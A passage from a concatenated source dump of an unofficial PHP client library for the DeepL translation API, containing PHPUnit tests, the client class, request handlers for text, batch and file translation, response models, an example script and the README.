->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(FileTranslationStatusInterface::class, $this->subject->getFileTranslationStatus($fileSubmission)); } public function testGetFileTranslationCanReturnInstanceOfResponseModel(): void { $fileSubmission = $this->createMock(FileSubmissionInterface::class); $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $this->deeplRequestFactory->method('createDeeplFileTranslationRequestHandler') ->willReturn($requestHandler); $json = json_encode(['some string' => 'with value']); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['plain/text']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(FileTranslationInterface::class, $this->subject->getFileTranslation($fileSubmission)); } public function errorStatusCodeProvider(): array { return [ [404], [403], [500], ]; } /** * @dataProvider errorStatusCodeProvider */ public function testResponseWithErrorStatusCodeTriggersError(int $statusCode): void { $response = $this->createMock(ResponseInterface::class); $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplUsageRequestHandler') ->willReturn($requestHandler); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $response->expects($this->once()) ->method('getStatusCode') ->willReturn($statusCode); $this->expectException(RequestException::class); $this->expectExceptionCode($statusCode); $this->subject->getUsage(); } public function testGetSupportedLanguagesReturnsSupportedLanguagesModel(): void { $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplSupportedLanguageRetrievalRequestHandler') ->willReturn($requestHandler); $json = json_encode(['with value', 'some-other value']); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(SupportedLanguages::class, $this->subject->getSupportedLanguages()); } private function createRequestExpectations( MockObject $requestHandler, string $method, string $path ): MockObject { $base_uri = 'http://something'; $request = $this->createMock(RequestInterface::class); $stream = $this->createMock(StreamInterface::class); $contentType = 'some-content-type'; $requestHandler->expects($this->once()) ->method('getMethod') ->willReturn('some method'); $requestHandler->expects($this->once()) ->method('getPath') ->willReturn('some path'); $requestHandler->expects($this->once()) ->method('getBody') ->willReturn($stream); $requestHandler->expects($this->once()) ->method('getContentType') ->willReturn($contentType); $this->requestFactory->expects($this->once()) ->method('createRequest') ->with($method, sprintf('%s%s', $base_uri, $path)) ->willReturn($request); $this->deeplRequestFactory->expects($this->once()) ->method('getDeeplBaseUri') ->willReturn($base_uri); $request->expects($this->once()) ->method('withHeader') ->with('Content-Type', $contentType) ->willReturnSelf(); $request->expects($this->once()) ->method('withBody') ->with($stream) ->willReturnSelf(); return $request; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector; use Psr\Http\Client\ClientExceptionInterface; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Scn\DeeplApiConnector\Exception\RequestException; use Scn\DeeplApiConnector\Handler\DeeplRequestFactoryInterface; use Scn\DeeplApiConnector\Handler\DeeplRequestHandlerInterface; use Scn\DeeplApiConnector\Model\BatchTranslation; use Scn\DeeplApiConnector\Model\BatchTranslationConfig; use Scn\DeeplApiConnector\Model\FileSubmission; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\Model\FileTranslation; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\Model\FileTranslationStatus; use Scn\DeeplApiConnector\Model\ResponseModelInterface; use Scn\DeeplApiConnector\Model\SupportedLanguages; use Scn\DeeplApiConnector\Model\Translation; use Scn\DeeplApiConnector\Model\TranslationConfig; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; use Scn\DeeplApiConnector\Model\Usage; use stdClass; class DeeplClient implements DeeplClientInterface { private DeeplRequestFactoryInterface $deeplRequestFactory; private ClientInterface $httpClient; private RequestFactoryInterface $requestFactory; public function __construct( DeeplRequestFactoryInterface $deeplRequestFactory, ClientInterface $httpClient, RequestFactoryInterface $requestFactory ) { $this->deeplRequestFactory = $deeplRequestFactory; $this->httpClient = $httpClient; $this->requestFactory = $requestFactory; } /** * Return Usage of API- Key * Possible Return:. * * Usage * -> characterCount 123 * -> characterLimit 5647 * * @throws RequestException */ public function getUsage(): ResponseModelInterface { return (new Usage())->hydrate( $this->executeRequest($this->deeplRequestFactory->createDeeplUsageRequestHandler()) ); } /** * Return TranslationConfig from given TranslationConfig Object * Possible Return:. * * Translation * -> detectedSourceLanguage EN * -> text some translated text * * @throws RequestException */ public function getTranslation(TranslationConfigInterface $translation): ResponseModelInterface { return (new Translation())->hydrate($this->executeRequest( $this->deeplRequestFactory->createDeeplTranslationRequestHandler($translation) )); } /** * Return TranslationConfig for given Text / Target Language with Default TranslationConfig Configuration. * * @throws RequestException */ public function translate(string $text, string $target_language): ResponseModelInterface { $translation = new TranslationConfig($text, $target_language); return $this->getTranslation($translation); } public function translateFile(FileTranslationConfigInterface $fileTranslation): ResponseModelInterface { return (new FileSubmission())->hydrate($this->executeRequest( $this->deeplRequestFactory->createDeeplFileSubmissionRequestHandler($fileTranslation) )); } public function translateBatch(array $text, string $targetLanguage): ResponseModelInterface { return (new BatchTranslation())->hydrate($this->executeRequest( $this->deeplRequestFactory->createDeeplBatchTranslationRequestHandler( new BatchTranslationConfig($text, $targetLanguage) ) )); } public function getFileTranslationStatus(FileSubmissionInterface $fileSubmission): ResponseModelInterface { return (new FileTranslationStatus())->hydrate($this->executeRequest( $this->deeplRequestFactory->createDeeplFileTranslationStatusRequestHandler($fileSubmission) )); } public function getFileTranslation(FileSubmissionInterface $fileSubmission): ResponseModelInterface { return (new FileTranslation())->hydrate($this->executeRequest( $this->deeplRequestFactory->createDeeplFileTranslationRequestHandler($fileSubmission) )); } public function getSupportedLanguages(): ResponseModelInterface { return (new SupportedLanguages())->hydrate( $this->executeRequest( $this->deeplRequestFactory->createDeeplSupportedLanguageRetrievalRequestHandler() ) ); } /** * Execute given RequestHandler Request and returns decoded Json Object or throws Exception with Error Code * and maybe given Error Message. * * @throws RequestException */ private function executeRequest(DeeplRequestHandlerInterface $requestHandler): stdClass { // build the actual http request $request = $this->requestFactory ->createRequest( $requestHandler->getMethod(), sprintf('%s%s', $this->deeplRequestFactory->getDeeplBaseUri(), $requestHandler->getPath()) ) ->withHeader( 'Content-Type', $requestHandler->getContentType() ) ->withBody($requestHandler->getBody()); try { $response = $this->httpClient->sendRequest($request); } catch (ClientExceptionInterface $exception) { throw new RequestException( $exception->getMessage(), $exception->getCode(), $exception ); } // if the http client doesn't handle errors, catch client- and server errors $statusCode = $response->getStatusCode(); $errorType = substr((string) $statusCode, 0, 1); if (in_array($errorType, ['5', '4'], true)) { throw new RequestException( 'Http error occurred', $statusCode, ); } // Result handling is kinda broken atm $headers = (string) json_encode($response->getHeader('Content-Type')); if (stripos($headers, 'application\/json') !== false) { $result = json_decode($response->getBody()->getContents()); // json responses having an array on root-level need to be converted (sigh) if (is_array($result)) { $content = new stdClass(); $content->content = $result; $result = $content; } } else { $content = new stdClass(); $content->content = $response->getBody()->getContents(); $result = $content; } /** @var stdClass $result */ return $result; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Enum; final class TextHandlingEnum { public const SPLITSENTENCES_ON = '1'; public const SPLITSENTENCES_OFF = '0'; public const SPLITSENTENCES_NONEWLINES = 'nonewlines'; public const PRESERVEFORMATTING_ON = '1'; public const PRESERVEFORMATTING_OFF = '0'; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector; use Http\Discovery\Psr17FactoryDiscovery; use Http\Discovery\Psr18ClientDiscovery; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Psr\Http\Message\StreamFactoryInterface; use Scn\DeeplApiConnector\Handler\DeeplRequestFactory; /** * Provides a factory method to create an instance by passing custom dependencies or using defaults */ final class DeeplClientFactory { public static function create( string $authKey, ClientInterface $httpClient = null, RequestFactoryInterface $requestFactory = null, StreamFactoryInterface $streamFactory = null ): DeeplClientInterface { return new DeeplClient( new DeeplRequestFactory( $authKey, $streamFactory ?? Psr17FactoryDiscovery::findStreamFactory() ), $httpClient ?? Psr18ClientDiscovery::find(), $requestFactory ?? Psr17FactoryDiscovery::findRequestFactory() ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; final class FileSubmission extends AbstractResponseModel implements FileSubmissionInterface { private string $documentId; private string $documentKey; public function getDocumentId(): string { return $this->documentId; } public function setDocumentId(string $documentId): FileSubmissionInterface { $this->documentId = $documentId; return $this; } public function getDocumentKey(): string { return $this->documentKey; } public function setDocumentKey(string $documentKey): FileSubmissionInterface { $this->documentKey = $documentKey; return $this; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\Enum\TextHandlingEnum; final class BatchTranslationConfig implements BatchTranslationConfigInterface { /** @var array<string> */ private array $text; private string $targetLang; /** @var array<int, string> */ private array $tagHandling; /** @var array<int, string> */ private array $nonSplittingTags; /** @var array<int, string> */ private array $ignoreTags; private string $splitSentences; private string $preserveFormatting; /** * @param array<string> $text * @param array<int, string> $tagHandling * @param array<int, string> $nonSplittingTags * @param array<int, string> $ignoreTags */ public function __construct( array $text, string $targetLang, array $tagHandling = [], array $nonSplittingTags = [], array $ignoreTags = [], string $splitSentences = TextHandlingEnum::SPLITSENTENCES_ON, string $preserveFormatting = TextHandlingEnum::PRESERVEFORMATTING_OFF ) { $this->setText($text); $this->setTargetLang($targetLang); $this->setTagHandling($tagHandling); $this->setNonSplittingTags($nonSplittingTags); $this->setIgnoreTags($ignoreTags); $this->setSplitSentences($splitSentences); $this->setPreserveFormatting($preserveFormatting); } /** * @return array<string> */ public function getText(): array { return $this->text; } /** * @param array<string> $text */ public function setText(array $text): BatchTranslationConfigInterface { $this->text = $text; return $this; } public function getTargetLang(): string { return $this->targetLang; } public function setTargetLang(string $targetLang): BatchTranslationConfigInterface { $this->targetLang = $targetLang; return $this; } public function getTagHandling(): array { return $this->tagHandling; } public function setTagHandling(array $tagHandling): BatchTranslationConfigInterface { $this->tagHandling = $tagHandling; return $this; } public function getNonSplittingTags(): array { return $this->nonSplittingTags; } public function setNonSplittingTags(array $nonSplittingTags): BatchTranslationConfigInterface { $this->nonSplittingTags = $nonSplittingTags; return $this; } public function getIgnoreTags(): array { return $this->ignoreTags; } public function setIgnoreTags(array $ignoreTags): BatchTranslationConfigInterface { $this->ignoreTags = $ignoreTags; return $this; } public function getSplitSentences(): string { return $this->splitSentences; } public function setSplitSentences(string $splitSentences): BatchTranslationConfigInterface { $this->splitSentences = $splitSentences; return $this; } public function getPreserveFormatting(): string { return $this->preserveFormatting; } public function setPreserveFormatting(string $preserveFormatting): BatchTranslationConfigInterface { $this->preserveFormatting = $preserveFormatting; return $this; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class FileTranslationStatusTest extends TestCase { /** * @var FileTranslationStatus */ private $subject; public function setUp(): void { $this->subject = new FileTranslationStatus(); } public function testGetDocumentIdCanReturnString() { $value = 'some value'; $this->assertSame( $value, $this->subject->setDocumentId($value)->getDocumentId() ); } public function testGetStatusCanReturnString(): void { $value = 'some value'; $this->assertSame( $value, $this->subject->setStatus($value)->getStatus() ); } public function testGetSecondsRemainingCanReturnInteger(): void { $value = 1234; $this->assertSame( $value, $this->subject->setSecondsRemaining($value)->getSecondsRemaining() ); } public function testGetBilledCharactersCanReturnInteger(): void { $value = 1234; $this->assertSame( $value, $this->subject->setBilledCharacters($value)->getBilledCharacters() ); } } <file_sep><?php declare(strict_types=1); require_once __DIR__ . '/../vendor/autoload.php'; use Scn\DeeplApiConnector\DeeplClientFactory; $apiKey = 'your-api-key'; $deepl = DeeplClientFactory::create($apiKey); /** @var \Scn\DeeplApiConnector\Model\BatchTranslationInterface $result */ $result = $deepl->translateBatch(['das ist ein test', 'heute habe ich hunger'], 'en'); var_dump($result->getTranslations()); <file_sep><?php namespace Scn\DeeplApiConnector\Handler; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; final class DeeplFileRequestHandler implements DeeplRequestHandlerInterface { public const API_ENDPOINT = '/v2/document/%s/result'; private string $authKey; private StreamFactoryInterface $streamFactory; private FileSubmissionInterface $fileSubmission; public function __construct( string $authKey, StreamFactoryInterface $streamFactory, FileSubmissionInterface $fileSubmission ) { $this->authKey = $authKey; $this->streamFactory = $streamFactory; $this->fileSubmission = $fileSubmission; } public function getMethod(): string { return DeeplRequestHandlerInterface::METHOD_POST; } public function getPath(): string { return sprintf(static::API_ENDPOINT, $this->fileSubmission->getDocumentId()); } public function getBody(): StreamInterface { return $this->streamFactory->createStream( http_build_query( array_filter( [ 'auth_key' => $this->authKey, 'document_key' => $this->fileSubmission->getDocumentKey(), ] ) ) ); } public function getContentType(): string { return 'application/x-www-form-urlencoded'; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use stdClass; abstract class AbstractResponseModel implements ResponseModelInterface { private const SETTER_PREFIX = 'set'; public function hydrate(stdClass $responseModel): ResponseModelInterface { foreach ($responseModel as $key => $value) { if (is_array($value)) { $this->hydrate(current($value)); } $modelSetter = $this->getModelSetter($key); if (method_exists($this, $modelSetter)) { $this->$modelSetter($value); } } return $this; } protected function getModelSetter(string $key): string { return self::SETTER_PREFIX. str_replace( ' ', '', ucwords( str_replace('_', ' ', $key) ) ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Model\BatchTranslationConfigInterface; /** * Builds the request body for batch translations */ final class DeeplBatchTranslationRequestHandler implements DeeplRequestHandlerInterface { private const SEPARATOR = ','; public const API_ENDPOINT = '/v2/translate'; private string $authKey; private StreamFactoryInterface $streamFactory; private BatchTranslationConfigInterface $translation; public function __construct( string $authKey, StreamFactoryInterface $streamFactory, BatchTranslationConfigInterface $translation ) { $this->authKey = $authKey; $this->streamFactory = $streamFactory; $this->translation = $translation; } public function getMethod(): string { return DeeplRequestHandlerInterface::METHOD_POST; } public function getPath(): string { return static::API_ENDPOINT; } public function getBody(): StreamInterface { $query = http_build_query( array_filter( [ 'target_lang' => $this->translation->getTargetLang(), 'tag_handling' => implode( static::SEPARATOR, $this->translation->getTagHandling() ), 'non_splitting_tags' => implode( static::SEPARATOR, $this->translation->getNonSplittingTags() ), 'ignore_tags' => implode(static::SEPARATOR, $this->translation->getIgnoreTags()), 'split_sentences' => $this->translation->getSplitSentences(), 'preserve_formatting' => $this->translation->getPreserveFormatting(), 'auth_key' => $this->authKey, ] ) ); // add the text parameters separately as http_build_query would create `text[]` params foreach ($this->translation->getText() as $text) { $query .= '&text=' . $text; } return $this->streamFactory->createStream($query); } public function getContentType(): string { return 'application/x-www-form-urlencoded'; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; final class FileTranslation extends AbstractResponseModel implements FileTranslationInterface { private string $content; public function getContent(): string { return $this->content; } public function setContent(string $content): FileTranslationInterface { $this->content = $content; return $this; } } <file_sep><?php namespace Scn\DeeplApiConnector\Exception; use Exception; use Psr\Http\Client\ClientExceptionInterface; /** * NOTE: Use `getPrevious()` to access the initial * {@see ClientExceptionInterface} exception that was * triggered. * * Depending on the HTTP implementation (e.g. GuzzleHttp), * this can allow access to additional information * (HTTP response details, for example). */ class RequestException extends Exception { } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Http\Message\MultipartStream\MultipartStreamBuilder; use PHPUnit\Framework\MockObject\MockObject; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\TestCase; class DeeplFileSubmissionRequestHandlerTest extends TestCase { /** * @var DeeplFileRequestHandler */ private $subject; /** @var MultipartStreamBuilder|MockObject */ private $streamBuilder; /** * @var FileTranslationConfigInterface|MockObject */ private $fileTranslation; public function setUp(): void { $this->streamBuilder = $this->createMock(MultipartStreamBuilder::class); $this->fileTranslation = $this->createMock(FileTranslationConfigInterface::class); $this->subject = new DeeplFileSubmissionRequestHandler( 'some key', $this->fileTranslation, $this->streamBuilder ); } public function testGetPathCanReturnPath(): void { $this->assertSame(DeeplFileSubmissionRequestHandler::API_ENDPOINT, $this->subject->getPath()); } public function testGetBodyCanReturnFilteredArray(): void { $stream = $this->createMock(StreamInterface::class); $this->fileTranslation->expects($this->once()) ->method('getFileName') ->willReturn('file name'); $this->fileTranslation->expects($this->once()) ->method('getFileContent') ->willReturn('file content'); $this->fileTranslation->expects($this->once()) ->method('getSourceLang') ->willReturn('source lang'); $this->fileTranslation->expects($this->once()) ->method('getTargetLang') ->willReturn('target lang'); $this->streamBuilder->expects($this->once()) ->method('setBoundary') ->with('boundary') ->willReturnSelf(); $this->streamBuilder->expects($this->exactly(4)) ->method('addResource') ->willReturnOnConsecutiveCalls( ['auth_key', 'some key'], ['file', 'file content', ['filename' => 'file name']], ['target_lang', 'target lang'], ['source_lang', 'source lang'] ) ->willReturnSelf(); $this->streamBuilder->expects($this->once()) ->method('build') ->willReturn($stream); $this->assertSame( $stream, $this->subject->getBody() ); } public function testGetBodyIgnoresSourceLangIfEmpty(): void { $stream = $this->createMock(StreamInterface::class); $this->fileTranslation->expects($this->once()) ->method('getFileName') ->willReturn('file name'); $this->fileTranslation->expects($this->once()) ->method('getFileContent') ->willReturn('file content'); $this->fileTranslation->expects($this->once()) ->method('getSourceLang') ->willReturn(''); $this->fileTranslation->expects($this->once()) ->method('getTargetLang') ->willReturn('target lang'); $this->streamBuilder->expects($this->once()) ->method('setBoundary') ->with('boundary') ->willReturnSelf(); $this->streamBuilder->expects($this->exactly(3)) ->method('addResource') ->willReturnOnConsecutiveCalls( ['auth_key', 'some key'], ['file', 'file content', ['filename' => 'file name']], ['target_lang', 'target lang'] ) ->willReturnSelf(); $this->streamBuilder->expects($this->once()) ->method('build') ->willReturn($stream); $this->assertSame( $stream, $this->subject->getBody() ); } public function testGetMethodCanReturnMethod(): void { $this->assertSame(DeeplRequestHandlerInterface::METHOD_POST, $this->subject->getMethod()); } public function testGetContentTypeReturnsValue(): void { $this->assertSame( 'multipart/form-data;boundary="boundary"', $this->subject->getContentType() ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class UsageTest extends TestCase { /** * @var Usage */ private $subject; public function setUp(): void { $this->subject = new Usage(); } public function testGetCharacterCountCanReturnInt(): void { $this->subject->setCharacterCount(10); $this->assertSame(10, $this->subject->getCharacterCount()); } public function testGetCharacterLimitCanReturnInt(): void { $this->subject->setCharacterLimit(123456789); $this->assertSame(123456789, $this->subject->getCharacterLimit()); } public function testHydrateCanHydrateUsageStdClass(): void { $demo_response = json_decode('{ "character_count": 180118, "character_limit": 1250000, "some_other": 123 }'); $this->subject->hydrate($demo_response); $this->assertEquals(180118, $this->subject->getCharacterCount()); $this->assertEquals(1250000, $this->subject->getCharacterLimit()); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; final class DeeplSupportedLanguageRetrievalRequestHandler implements DeeplRequestHandlerInterface { public const API_ENDPOINT = '/v2/languages?type=target'; private string $authKey; private StreamFactoryInterface $streamFactory; public function __construct( string $authKey, StreamFactoryInterface $streamFactory ) { $this->authKey = $authKey; $this->streamFactory = $streamFactory; } public function getMethod(): string { return DeeplRequestHandlerInterface::METHOD_GET; } public function getPath(): string { return static::API_ENDPOINT; } public function getBody(): StreamInterface { return $this->streamFactory->createStream( http_build_query( array_filter( [ 'auth_key' => $this->authKey, ] ) ) ); } public function getContentType(): string { return 'application/x-www-form-urlencoded'; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Http\Message\MultipartStream\MultipartStreamBuilder; use Psr\Http\Message\StreamFactoryInterface; use Scn\DeeplApiConnector\Model\BatchTranslationConfigInterface; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; final class DeeplRequestFactory implements DeeplRequestFactoryInterface { public const DEEPL_PAID_BASE_URI = 'https://api.deepl.com'; public const DEEPL_FREE_BASE_URI = 'https://api-free.deepl.com'; private string $authKey; private StreamFactoryInterface $streamFactory; public function __construct( string $authKey, StreamFactoryInterface $streamFactory ) { $this->authKey = $authKey; $this->streamFactory = $streamFactory; } public function createDeeplTranslationRequestHandler( TranslationConfigInterface $translation ): DeeplRequestHandlerInterface { return new DeeplTranslationRequestHandler( $this->authKey, $this->streamFactory, $translation ); } public function createDeeplBatchTranslationRequestHandler( BatchTranslationConfigInterface $translation ): DeeplRequestHandlerInterface { return new DeeplBatchTranslationRequestHandler( $this->authKey, $this->streamFactory, $translation ); } public function createDeeplUsageRequestHandler(): DeeplRequestHandlerInterface { return new DeeplUsageRequestHandler( $this->authKey, $this->streamFactory ); } public function createDeeplFileSubmissionRequestHandler( FileTranslationConfigInterface $fileTranslation ): DeeplRequestHandlerInterface { return new DeeplFileSubmissionRequestHandler( $this->authKey, $fileTranslation, new MultipartStreamBuilder( $this->streamFactory ) ); } public function createDeeplFileTranslationStatusRequestHandler( FileSubmissionInterface $fileSubmission ): DeeplRequestHandlerInterface { return new DeeplFileTranslationStatusRequestHandler( $this->authKey, $this->streamFactory, $fileSubmission ); } public function createDeeplFileTranslationRequestHandler( FileSubmissionInterface $fileSubmission ): DeeplRequestHandlerInterface { return new DeeplFileRequestHandler( $this->authKey, $this->streamFactory, $fileSubmission ); } public function createDeeplSupportedLanguageRetrievalRequestHandler(): DeeplRequestHandlerInterface { return new DeeplSupportedLanguageRetrievalRequestHandler( $this->authKey, $this->streamFactory ); } public function getDeeplBaseUri(): string { if (strpos($this->authKey, ':fx') !== false) { return DeeplRequestFactory::DEEPL_FREE_BASE_URI; } return DeeplRequestFactory::DEEPL_PAID_BASE_URI; } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; use stdClass; interface ResponseModelInterface { public function hydrate(stdClass $responseModel): ResponseModelInterface; } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface SupportedLanguagesInterfaces { /** * @return array<array{ * language_code: string, * name: string, * supports_formality: bool * }> */ public function getLanguages(): array; } <file_sep># deepl-api-connector - Unofficial PHP Client for the API of deepl.com. [![Monthly Downloads](https://poser.pugx.org/scn/deepl-api-connector/d/monthly)](https://packagist.org/packages/scn/deepl-api-connector) [![License](https://poser.pugx.org/scn/deepl-api-connector/license)](LICENSE) [![Build Status](https://travis-ci.org/SC-Networks/deepl-api-connector.svg?branch=master)](https://travis-ci.org/SC-Networks/deepl-api-connector) - Information about Deepl: https://www.deepl.com - Deepl API Documentation: https://www.deepl.com/api.html Requirements ============ - php (See the compatibility table below for supported php versions) - Implementations of [PSR17 (Http-Factories)](https://www.php-fig.org/psr/psr-17/) ([Available packages](https://packagist.org/providers/psr/http-factory-implementation)) and [PSR18 (Http-Client)](https://www.php-fig.org/psr/psr-18/) ([Available packages](https://packagist.org/providers/psr/http-client-implementation)) - A deepl free/pro api key Compatibility ============= | Connector-Version | PHP-Version(s) | |---------------------------------|--------------------| | **master** (dev) | TBD | | **3.x** (features and bugfixes) | 7.4, 8.0, 8.1, 8.2 | | **2.x** (EOL) | 7.3, 7.4, 8.0, 8.1 | | **1.x** (EOL) | 7.2, 7.3, 7.4 | ## Install Via Composer ``` bash $ composer require scn/deepl-api-connector ``` ## Usage ### Api client creation The `DeeplClientFactory` supports auto-detection of installed psr17/psr18 implementations. Just call the `create` method and you are ready to go ```php require_once __DIR__ . '/vendor/autoload.php'; use \Scn\DeeplApiConnector\DeeplClientFactory; $deepl = DeeplClientFactory::create('your-api-key'); ``` Optionally, you can provide already created instances of HttpClient, StreamFactory and RequestFactory as params to the create method. ```php require_once __DIR__ . '/vendor/autoload.php'; use \Scn\DeeplApiConnector\DeeplClientFactory; $deepl = DeeplClientFactory::create( 'your-api-key', $existingHttpClientInstance, $existingStreamFactoryInstance, $existingRequestFactoryInstance, ); ``` If a custom HTTP client implementation is to be used, this can also be done via the DeeplClientFactory::create method. The Client must support PSR18. #### Get Usage of API Key ```php require_once __DIR__ . '/vendor/autoload.php'; $deepl = \Scn\DeeplApiConnector\DeeplClientFactory::create('your-api-key'); try { $usageObject = $deepl->getUsage(); } ``` #### Get Translation ```php require_once __DIR__ . '/vendor/autoload.php'; $deepl = \Scn\DeeplApiConnector\DeeplClientFactory::create('your-api-key'); try { $translation = new \Scn\DeeplApiConnector\Model\TranslationConfig( 'My little Test', \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_DE ..., ..., ); $translationObject = $deepl->getTranslation($translation); } ``` ```php require_once __DIR__ . '/vendor/autoload.php'; $deepl = \Scn\DeeplApiConnector\DeeplClientFactory::create('your-api-key'); try { $translation = new \Scn\DeeplApiConnector\Model\TranslationConfig( 'My little Test', \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_DE ); $translationObject = $deepl->translate('some text', \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_DE); } ``` Optional you also can translate a batch of texts as once, see `example/translate_batch.php` #### Add File to Translation Queue ```php require_once __DIR__ . '/vendor/autoload.php'; $deepl = \Scn\DeeplApiConnector\DeeplClientFactory::create('your-api-key'); try { $fileTranslation = new \Scn\DeeplApiConnector\Model\FileTranslationConfig( file_get_contents('test.txt'), 'test.txt', \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_EN, \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_DE ); $fileSubmission = $deepl->translateFile($fileTranslation); $fileSubmission->getDocumentId() } ``` #### Check File Translation Status All translation states are available in `FileStatusEnum` ```php require_once __DIR__ . '/vendor/autoload.php'; $deepl = \Scn\DeeplApiConnector\DeeplClientFactory::create('your-api-key'); try { $fileTranslation = new \Scn\DeeplApiConnector\Model\FileTranslationConfig( file_get_contents('test.txt'), 'test.txt', \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_EN, \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_DE ); $fileSubmission = $deepl->translateFile($fileTranslation); $translationStatus = $deepl->getFileTranslationStatus($fileSubmission); } ``` #### Get Translated File Content ```php require_once __DIR__ . '/vendor/autoload.php'; $deepl = \Scn\DeeplApiConnector\DeeplClientFactory::create('your-api-key'); try { $fileTranslation = new \Scn\DeeplApiConnector\Model\FileTranslationConfig( file_get_contents('test.txt'), 'test.txt', \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_EN, \Scn\DeeplApiConnector\Enum\LanguageEnum::LANGUAGE_DE ); $fileSubmission = $deepl->translateFile($fileTranslation); $file = $deepl->getFileTranslation($fileSubmission); echo $file->getContent(); } ``` #### Retrieve supported languages See `example/retrieve_supported_languages.php` ## Testing ``` bash $ composer test ``` ## Credits - [Deepl](https://www.deepl.com) ## License The MIT License (MIT). Please see [License File](LICENSE.md) for more information. <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class TranslationTest extends TestCase { /** * @var Translation */ private $subject; public function setUp(): void { $this->subject = new Translation(); } public function testGetDetectedSourceLanguageCanReturnString(): void { $this->subject->setDetectedSourceLanguage('DE'); $this->assertSame('DE', $this->subject->getDetectedSourceLanguage()); } public function testGetTextCanReturnString(): void { $this->subject->setText('some text'); $this->assertSame('some text', $this->subject->getText()); } public function testHydrateCanHydrateUsageStdClass(): void { $demo_response = json_decode('{ "translations": [ { "detected_source_language": "DE", "text": "Hello World!" } ] }'); $this->subject->hydrate($demo_response); $this->assertEquals('DE', $this->subject->getDetectedSourceLanguage()); $this->assertEquals('Hello World!', $this->subject->getText()); } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface UsageInterface { public function getCharacterCount(): int; public function setCharacterCount(int $characterCount): UsageInterface; public function getCharacterLimit(): int; public function setCharacterLimit(int $characterLimit): UsageInterface; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; final class Usage extends AbstractResponseModel implements UsageInterface { private int $characterCount; private int $characterLimit; public function getCharacterCount(): int { return $this->characterCount; } public function setCharacterCount(int $characterCount): UsageInterface { $this->characterCount = $characterCount; return $this; } public function getCharacterLimit(): int { return $this->characterLimit; } public function setCharacterLimit(int $characterLimit): UsageInterface { $this->characterLimit = $characterLimit; return $this; } } 